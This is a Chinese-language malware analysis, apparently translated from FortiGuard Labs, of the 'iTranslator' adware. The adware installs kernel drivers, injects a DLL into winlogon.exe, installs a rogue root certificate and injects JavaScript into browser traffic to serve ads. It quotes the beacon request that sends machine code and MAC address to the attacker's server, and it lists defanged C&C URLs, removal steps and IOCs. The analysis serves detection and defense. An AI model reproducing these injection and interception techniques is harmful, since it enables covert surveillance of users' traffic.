一、前言
FortiGuard實驗室研究團隊最近捕獲到一個惡意軟件樣本,這個EXE文件帶有一個無效的證書簽名。一旦受害者打開exe文件,惡意軟件就會安裝兩個驅動,控制受害者的Windows系統,同時監控受害者使用瀏覽器的互聯網活動規律。
在本文中,我將詳細分析惡意軟件如何在受害者系統上安裝驅動、驅動的工作方式以及惡意軟件的具體功能。
二、執行惡意軟件樣本
本次捕獲的樣本文件名為itranslator_02.exe
。在實際攻擊活動中,惡意軟件使用了多個不同的名稱,包括itransppa.exe
、itranslator20041_se.exe
、Setup.exe
以及itransVes.exe
。樣本文件經過證書簽名,證書的過期時間為2015年5月16日。該證書由VeriSign Class 3 Code Signing 2010 CA
頒發給Beijing ******** Technology Ltd
(這里我隱去了公司的名稱),序列號為0A 00 5D 2E 2B CD 41 37 16 82 17 D8 C7 27 74 7C
。樣本的數字證書信息如圖1所示:
圖1. 惡意軟件使用了已過期的證書
當itranslator_02.exe
運行時,會在program-data
目錄(在我的測試環境中,該目錄為C:\ProgramData
)中創建名為itranslator
的一個新目錄,然后將名為wintrans.exe
的一個新文件釋放到該目錄中。使用參數P002
啟動wintrans.exe
后,itranslator_02.exe
的任務就此完成。這里使用的命令行字符串為:C:\ProgramData\itranslator\wintrans.exe P002
,惡意軟件將P002
作為GUID
來使用,并在惡意攻擊活動中利用該值與C&C服務器通信。
三、安裝驅動組件
順利接管itranslator_02.exe
的工作后,wintrans.exe
會下載其他惡意組件并安裝到受害者的Windows系統中,然后在受害者系統上安裝驅動,我們來看驅動安裝過程。
圖2. 創建驅動服務“iTranslatorSvc”
惡意軟件創建了一個線程來執行該操作:首先調用兩個Windows系統API來創建驅動服務,相關API為OpenSCManagerA
以及CreateServiceA
。驅動名為iTranslatorSvc
,該名稱為CreateServiceA
API的一個參數。
利用這種方式,惡意軟件調用CreateServiceA
API為新的驅動服務創建一個新的注冊表鍵值。該樣本創建的注冊表鍵值為:HKLM\SYSTEM\CurrentControlSet\services\iTranslatorSvc
。
新創建驅動的啟動(Start
)類型最開始時會被惡意軟件設置為2(對應的就是AUTO_START
),隨后再被修改為1(對應的是SYSTEM_START
)。這樣每當系統啟動時都會啟用該驅動。我們通過IDA Pro分析了驅動的創建過程,如圖2所示。
接下來,wintrans.exe
會將名為iTranslator
的一個文件釋放到Windows
目錄中(在我的測試環境中該目錄為C:\Windows\
),該文件已事先內嵌在wintrans.exe
文件的BIN
資源區中。釋放文件的偽代碼如圖3所示。
圖3. 從資源區中提取iTranslator文件
大家可能已經猜到,iTranslator
也是一個Windows驅動文件,調用CreateServiceA
時使用了該文件的完整路徑以便創建iTranslatorSvc
。
iTranslator
文件經過VMProtect加殼保護,該文件同樣帶有一個無效的證書簽名(證書已于2015年5月12日過期)。簽名方為Nanjing ********* Technology Co.,Ltd
,序列號為73 dc b1 a0 35 15 bb 63 9b f3 1e cd 5f 98 ff 24
。iTranslator
文件的屬性信息如圖4所示,我們也使用PE工具分析了加殼信息。
圖4. iTranslator
屬性及加殼信息
隨后惡意軟件使用P002
創建GUID值,并且使用受害者的硬件信息生成十六進制值來創建MachineCode
鍵,這些值都保存在HKLM\SYSTEM\CurrentControlSet\services\iTranslatorSvc
這個子鍵中。注冊表中的相關數據如圖5所示:
圖5. iTranslatorSvc注冊表信息
此后,惡意軟件繼續調用StartServiceA
,立刻運行惡意驅動。為了向大家展示惡意驅動程序在受害者計算機上的運行過程,接下來我會以操作系統啟動為起點,從頭開始梳理整個過程,這也是加載驅動的正常方式。
四、下載其他組件
一旦安裝完畢,惡意軟件會在某個線程函數中嘗試下載一個DLL模塊。相應的HTTP請求及響應數據如圖6所示:
圖6. 下載DLL文件
在URI中,uid=
為機器代碼,v=
為惡意軟件當前版本(這里的版本為1.0.0
),x=
為受害者的Windows架構(32位或者64位)。在頭部數據中,UID: P002
為惡意軟件的GUID。在響應報文中,惡意軟件會返回最新的版本信息以及下載鏈接。在本文樣本中,最新的版本為1.0.7
版,下載鏈接為hxxp://gl.immereeako.info/files/upgrade/32/iTranslator.dll
(然而在分析該惡意軟件的過程中,最新版本更新到了1.0.8
版,下載鏈接也變為hxxp://dl.shalleeatt.info/ufiles/32x/iTranslator.dll
)。
惡意軟件隨后會下載DLL文件,將其保存為同一個目錄(即C:\ProgramData\itranslator\
)下的wintrans.exe
。根據我的分析,下載的文件iTranslator.dll
可能是這款惡意軟件的主模塊,其執行的部分任務列表如下:
1、提取并加載一個網絡過濾器驅動;
2、與其他驅動交換數據;
3、在未經受害者許可的情況下,將SSL證書以可信根證書形式安裝到瀏覽器中;
4、監控受害者瀏覽器的互聯網訪問數據包。
有趣的是,下載的文件并不僅僅是一個DLL文件,而是一個文件容器,其資源區中包含許多其他文件,這些文件隨后會釋放到受害者的本地目錄中。下載的iTranslator.dll
可以在首次安裝時由wintrans.exe
加載運行,也可以在Windows系統啟動時由winlogon.exe
負責加載及運行,而后者由iTranslatorSvc
驅動負責加載。我會在下文的驅動啟動部分詳細介紹這個過程。
惡意軟件同時也會在系統注冊表的HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion
路徑中記錄最新的版本信息,其中iVersion
代表最新版本號,本文成稿時該版本號為1.0.8
。
五、通知攻擊者
wintrans.exe
的最后一個任務是將受害者的系統信息發送到攻擊者的服務器,發送的報文格式如下所示:
GET /in.php?type=is&ch=P002&mc=07********************93&os=Windows7(6.1)&t=1435127837&m=08****0****E HTTP/1.1
UID: P002
MC: 078********************3
User-Agent: ITRANSLATOR
Host: tk.immereeako.info
URL中的ch=
以及頭部中的UID
為GUID P002
;URL中的mc=
以及頭部中的MC
為受害者系統的機器碼;os=
為受害者的操作系統版本;t=
為當前Windows的安裝日期,該信息來自于系統注冊表中,惡意軟件使用了Unix格式時間,即從1970年1月1日以來的秒數;m
為受害者的網絡MAC地址。
我將原始報文中的敏感信息以*
號來代替,該報文用來通知攻擊者惡意軟件已在Windows系統上安裝完畢。
六、在Windows啟動過程中加載惡意驅動
Windows系統啟動過程中會加載iTranslatorSvc
驅動,從現在開始我會詳細介紹惡意軟件的工作流程。
惡意驅動文件路徑為C:\Windows\iTranslator
,經過VMProtect v2.0.7加殼保護,存在多個導出函數,如圖7所示。
圖7. iTranslatorSvc驅動的導出函數
該驅動由nt!IopLoadDriver
負責加載。當VMProtect加殼器的代碼執行后,會還原出驅動的DriverEntry
函數,我們可以進入該函數繼續分析。
驅動首先會從系統的注冊表中讀取GUID
以及MachineCode
,將這些信息保存在全局變量中,然后將Start
值設置為1,即SYSTEM_START
。接下來惡意軟件會為該驅動創建一個設備對象\\Device\\iTranslatorCtrl
以及一個符號鏈接\\DosDevices\\iTranlatorCtrl
,這樣運行在ring 3的惡意軟件就可以通過\\\\.\\iTranslatorCtrl
訪問驅動。隨后惡意驅動會設置一些dispatch(分發)函數,就像其他驅動一樣。在IRP_MJ_DEVICE_CONTROL
分發函數中,驅動只會返回來自于全局變量的GUID
以及MachineCode
值。
七、在系統線程中設置回調函數
最后,惡意驅動會調用nt!PsCreateSystemThread
API創建一個系統線程,線程函數同樣經過VMProtect加殼器的保護。受VMProtect保護的系統線程函數代碼片段如圖8所示。惡意驅動中的所有API調用都通過這種方式經過加殼保護,如圖8所示:
圖8. 經過VMProtect加殼保護的代碼片段
系統線程啟動時首先會從內存中釋放文件,文件的完整路徑為C:\Windows\System32\iTranslator.dll
,然后調用nt!PsSetLoadImageNotifyRoutine
API來設置鏡像加載回調函數。MSDN對該API的描述為:“PsSetLoadImageNotifyRoutine
例程用來注冊由驅動提供的一個回調函數,以便當鏡像加載(或映射到內存中)時獲得相關通知”。這意味著每當鏡像(或者EXE文件)開始加載時,鏡像就會被掛起,驅動中的回調函數就會被另一個API(即nt!PsCallImageNotifyRoutines
)所調用。此時,iTranslatorSvc
驅動就可以讀取鏡像的整個進程信息,通過修改進程信息來影響進程的執行流程。
讓我們回到驅動中的這個回調函數上,分析該函數的具體功能。當該函數被調用時,會檢查進程名是否為winlogon.exe
,如果滿足該條件,則驅動就會找到該進程的映射內存,然后在內存中重建Import Directory Table(IDT表),將惡意DLL C:\Windows\System32\iTranslator.dll
加到該表末尾處。IDT表中同樣包含該進程所需的某些模塊數據(比如Kernel32.dll
、User32.dll
)。IDT表中每個模塊的數據占用14H個字節。
重建的IDT表如圖9所示,惡意軟件需要修改導入表(Import Table)表項在PE數據目錄表(Data Directory Table)中的偏移來重建IDT表。隨后,一旦winlogon.exe
恢復執行,就會像加載其他正常DLL那樣加載這個惡意的DLL。
圖9. 重建IDT表
為什么惡意軟件使用的是winlogon.exe
?這是屬于Windows登錄管理器的一個進程,可以處理登錄及注銷過程。如果該進程被終止,則用戶會從系統中注銷。換句話說,除非Windows系統關閉,否則該進程將始終處于運行狀態。
惡意驅動還會繼續設置另一個鏡像加載回調函數。根據我的分析,該函數用來檢查鏡像是否為特定的瀏覽器,如iexplore.exe
、firefox.exe
或者chrome.exe
。如果匹配成功,驅動就會查找相關的進程信息塊,向其命令行中添加hxxp://go.microsoft.com/?69157
參數。完成該操作后,當瀏覽器啟動時就會先訪問hxxp://go.microsoft.com/?69157
這個網址。IE啟動時情況如圖10所示,其命令行末尾已附加了hxxp://go.microsoft.com/?69157
這個URL。
圖10. IE使用hxxp://go.microsoft.com/?69157
參數
實際上,受害者的瀏覽器并沒有真正訪問過該URL,該URL的作用更像是一個開關標志。隨后,惡意軟件會提取并加載另一個驅動來監控受害者的網絡活動,然后中斷請求,指向hxxp://go.microsoft.com/?69157
,然后執行不同的任務。下文我們將分析這方面內容。
惡意驅動同樣會在系統線程函數中調用nt! CmRegisterCallback
來設置注冊表回調函數,在驅動級別過濾注冊表調用。根據我的分析,這個回調函數對微軟Edge瀏覽器比較關注。
iTranslatorSvc
驅動同樣會保護系統注冊表中相關路徑(即HKLM\SYSTEM\CurrentControlSet\services\iTranslatorSvc
)的訪問權限。當我們使用注冊表編輯器訪問該路徑時,會看到一個錯誤提示消息,如圖11所示。
圖11. 受驅動保護的iTranslatorSvc注冊表項
八、當winlogon.exe恢復運行
前面我提到過,當winlogon.exe
恢復運行時,會加載C:\Windows\System32\iTranslator.dll
,該文件來自于iTranslatorSvc
驅動,整個過程如前文所述。System32
目錄下的iTranslator.dll
同樣經過VMProtect v.2.07加殼保護。
根據我的分析,該程序的主要目的是加載C:\ProgramData\itranslator
目錄中的itranslator.dll
模塊(該文件由前文提到過的wintrans.exe
下載)。隨后,如果C&C服務器上存在更新版本的itranslator.dll
,則惡意軟件會嘗試更新,這與wintrans.exe
的功能類似。到目前為止,該DLL文件的最新版本為1.0.8
。
惡意軟件的文件名可能會讓大家有點困惑,這里存在兩個相似的文件名。一個來自于iTranslatorSvc
驅動,路徑為C:\Windows\System32\iTranslator.dll
,另一個從C&C服務器下載,路徑為C:\ProgramData\itranslator\itranslator.dll
。在下文中,為了區分這兩個文件,我將C:\Windows\System32\iTranslator.dll
標記為extracted-iTranslator.dll
,將C:\ProgramData\itranslator\itranslator.dll
標記為downloaded-itranslator.dll
。
downloaded-itranslator.dll
為該惡意軟件的主模塊,可以由wintrans.exe
以及winlogon.exe
加載執行。在winlogon.exe
進程中,downloaded-itranslator.dll
會被手動加載到0x10000000
這個內存位置。根據該文件PE結構中的數據定義,該進程會矯正數據以便正常執行。最后,進程會調用downloaded-itranslator.dll
的入口函數。至此extracted-iTranslator.dll
的任務已圓滿完成。
九、啟動downloaded-itranslator.dll
惡意軟件首先通過iTranslatorSvc
驅動獲取GUID
以及MachineCode
的值,并將其保存到全局變量中。在下一步中,惡意軟件會創建一個線程,從C&C服務器獲取C&C服務器URL的更新列表。通過這種方法,這款惡意軟件可以使用多個不同的C&C服務器啦執行不同的任務。hxxp://ask.excedese.xyz/
這個服務器保存了兩個C&C服務器URL,對應的報文內容如圖12所示。
圖12. 更新C&C服務器URL
響應報文中包含JSON格式的兩個新的URL,分別為immereeako.info
以及search.bulletiz.info
,這些地址會保存到兩個全局變量中,以便后續使用。
前面我提到過,downloaded-itranslator.dll
文件其實是一個容器,其資源區中包含許多文件,這些文件會被釋放到本地不同的目錄中,這些文件如下表所示:
此外,惡意軟件也會從內存中釋放出C:\Windows\SSL\Sample CA 2.cer
這個文件。
十、中間人攻擊
根據我的分析,釋放出來的所有文件都用于在受害者系統上執行中間人攻擊。
iNetfilterSvc
文件是另一個驅動程序,其名稱為NetfilterSvc
,其實是NetFilter SDK這個商業項目的一個實例。該驅動是一個框架。用來透明過濾Windows系統中通過網絡傳輸的數據包。釋放出來的Sample CA 2.cer
是一個根證書,會以可信根證書頒發機構形式安裝到Firefox以及Windows系統中(針對IE和Chrome)。這對隱蔽執行中間人攻擊是非常有必要的一個操作。通過這種方法,受害者瀏覽器中用于SSL保護通信的所有證書其實都由Sample CA 2.cer
簽發,由于Sample CA 2.cer
已經位于可信根證書頒發機構列表中,因此瀏覽器不會向用戶告警。
攻擊者會使用C:\Windows\nss
中的所有文件來控制Firefox瀏覽器。C:\Windows\nss\certutil.exe
文件用來將Sample CA 2.cer
安裝到Firefox中。使用調試器來分析certutil.exe
時如圖13所示。
圖13. certutil.exe
安裝Sample CA 2.cer
在圖14中,我們可以看到Sample CA 2.cer
已安裝到Mozilla Firefox以及Microsoft IE的可信根證書頒發機構列表中。
圖14. Sample CA 2.cer安裝到Mozilla Firefox以及Microsoft IE中
downloaded-itranslator.dll
模塊的主要功能是釋放iNetfilterSvc
模塊,運行該模塊(順便提一句,C:\Windows\iNetfilterSvc
在加載后會被立刻刪除),安裝Sample CA 2.cer
,然后與iTranslatorSvc
及NetfilterSvc
這兩個驅動通信。通過這種方法,惡意軟件可以監控受害者在所有主流瀏覽器上的活動。
惡意軟件繼續創建NetfilterSvc
驅動的一個驅動句柄(\\.\CtrlSMNetfilterSvc
),以便與該驅動交換數據,然后將相關協議注冊到NetfilterSvc
,這樣當捕獲相關協議的數據時,驅動就可以調用回調函數。大家可以訪問Netfilter SDK的官方網站,了解詳細信息。從圖15中,我們可以看到惡意軟件注冊HTTP協議(80端口)以及HTTPS協議(443端口)的代碼片段。
圖15. 注冊待過濾的協議到NetfilterSvc
圖16. 協議回調函數代碼片段
大家是否還記得,當受害者啟動IE時,iTranslatorSvc
中的鏡像加載回調函數就會被調用,隨后就會將hxxp://go.microsoft.com/?69157
附加到IE的命令行參數中。IE發送HTTP請求報文,該報文會被NetfilterSvc
驅動捕獲。與此同時,downloaded-itranslator.dll
中的協議回調函數就會被調用。一個回調函數的代碼片段如圖16所示,惡意軟件會檢查所請求的URL是否為hxxp://go.microsoft.com/?69157
,如果滿足該條件,則發送一個通知報文到C&C服務器,然后受害者已打開瀏覽器。
使用Fiddler捕捉到的通知報文如圖17所示。請求的URL中包含P002
以及MachineCode
。C&C服務器返回的數據中包含Location: hxxps://www.google.com
信息,該信息最終會發送回IE,而IE會向受害者顯示Google網站。因此,受害者系統其實不會真正去訪問hxxp://go.microsoft.com/?69157
這個URL。
圖17. 通知C&C服務器瀏覽器已打開
對于瀏覽器中的其他請求(包括HTTP以及HTTPS數據),惡意軟件可以通過中間人攻擊方法修改數據包的內容。惡意軟件會在每個響應數據包的末尾插入一小段JavaScript代碼。這段JavaScript代碼在早期流程中生成,包含C&C服務器URL以及MachineCode
。當瀏覽器收到響應數據時,就會執行已插入的JavaScript代碼,執行更多惡意操作。到目前為止,這段JavaScript代碼只會從C&C服務器上下載其他JS文件。被修改過的hxxps://www.google.com
頁面源碼如圖18所示,尾部包含已插入的JavaScript代碼。
圖18. 插入google.com響應報文的JavaScript代碼
大家可能會注意到,當JavaScript代碼運行時,會從hxxps://cdn.immereeako.info/pa.min.js
處下載一個腳本并在受害者的瀏覽器中運行。
不幸的是,我的測試主機并沒有安裝微軟的Edge瀏覽器,但我認為惡意軟件的攻擊方法同樣適用于Edge瀏覽器。
十一、JavaScript代碼分析
當受害者瀏覽器加載hxxps://cdn.immereeako.info/pa.min.js
時,就會往C&C服務器發送一個HTTP請求,如下圖所示:
請求報文中包含MachineCode
以及從受害者瀏覽器中收集到的一些數據(比如受害者正在訪問的當前URL地址,本次測試中該地址為hxxps://www.facebook.com
)。
URL中的pacb_jlcmurby4cp95
是一個帶有隨機名的回調函數,該函數由pa.min.js
負責生成。C&C服務器端會在響應報文中用到該名稱。某個響應報文如下圖所示:
body中的紅色高亮部分為JavaScript代碼,其中使用了對象參數來調用pacb_jlcmurby4cp95
函數。在回調函數中,腳本會處理該參數,在當前頁面上添加鼠標單擊事件(例如:hxxp://www.facebook.com
)。當鼠標單擊事件在受害者當前訪問的頁面中觸發時,腳本會創建一個新的標簽頁,然后訪問響應數據包中的URL(這里的URL為hxxp://www.onclickbright.com/jump/next.php?r=20*****&sub1=pa
,我用*
號隱去了一些信息)。根據我的研究,訪問該URL會讓受害者看到一個廣告頁面。受害者在Microsoft IE及Google Chrome瀏覽器中看到的廣告頁面如圖19所示。
圖19. 推送給受害者的多個廣告頁面
十二、感染流程
為了更好地理解這款惡意軟件的整體感染流程,我梳理了一個簡單的流程圖,如圖20所示。
圖20. 簡要版感染流程圖
十三、解決方案
FortiGuard反病毒服務已經公布了檢測該樣本的特征:W32/Itranslator.FE45!tr,此外,FortiGuard Webfilter服務已經將相關URL標識為“惡意網站”。
如果想刪除這款惡意軟件,可以重啟主機并進入按全模式,然后執行如下操作:
1、刪除%WINDIR%\iTranslator
文件;
2、刪除%WINDIR%\nss
以及%WINDIR%\SSL
目錄;
3、刪除%WINDIR%\system32\iTranslator.dll
文件;
4、刪除%ProgramData%\itranslator
目錄;
5、刪除HKLM\SYSTEM\CurrentControlSet\services\iTranslatorSvc
注冊表鍵值;
6、刪除HKLM\SYSTEM\CurrentControlSet\services\NetfilterSvc
注冊表鍵值;
7、刪除所有瀏覽器中的Sample CA 2
證書。
十四、IOC
URL
hxxp://s3.amazonaws.com/dl.itranslator.info/
hxxps://cdn.immereeako.info/pa.min.js
hxxp://tk.immereeako.info/in.php
hxxp://ask.excedese.xyz/i.php
hxxp://gl.immereeako.info/files/upgrade/32/iTranslator.dll
hxxp://dl.shalleeatt.info/ufiles/32x/iTranslator.dll
樣本SHA-256哈希
itranslator_02.exe
B73D436D7741F50D29764367CBECC4EE67412230FF0D66B7D1D0E4D26983824D
wintrans.exe
67B45AE63C4E995D3B26FE7E61554AD1A1537EEEE09AAB9409D5894C74C87D03
iTranslator(驅動)
E2BD952812DB5A6BBC330CC5C9438FC57637760066B9012FC06A8E591A1667F3
downloaded-itranslator.dll(1.0.7版)
C4EDE5E84043AB1432319D74D7A0713225D276600220D0ED5AAEB0B4B7CE36CD
downloaded-itranslator.dll(1.0.8版)
873825400FFF2B398ABF397F5A913A45FBD181654F20FBBE7665C239B7A2E8F5
十五、參考資料
NetFilter SDK:http://netfiltersdk.com/index.html
中間人攻擊:https://en.wikipedia.org/wiki/Man-in-the-middle_attack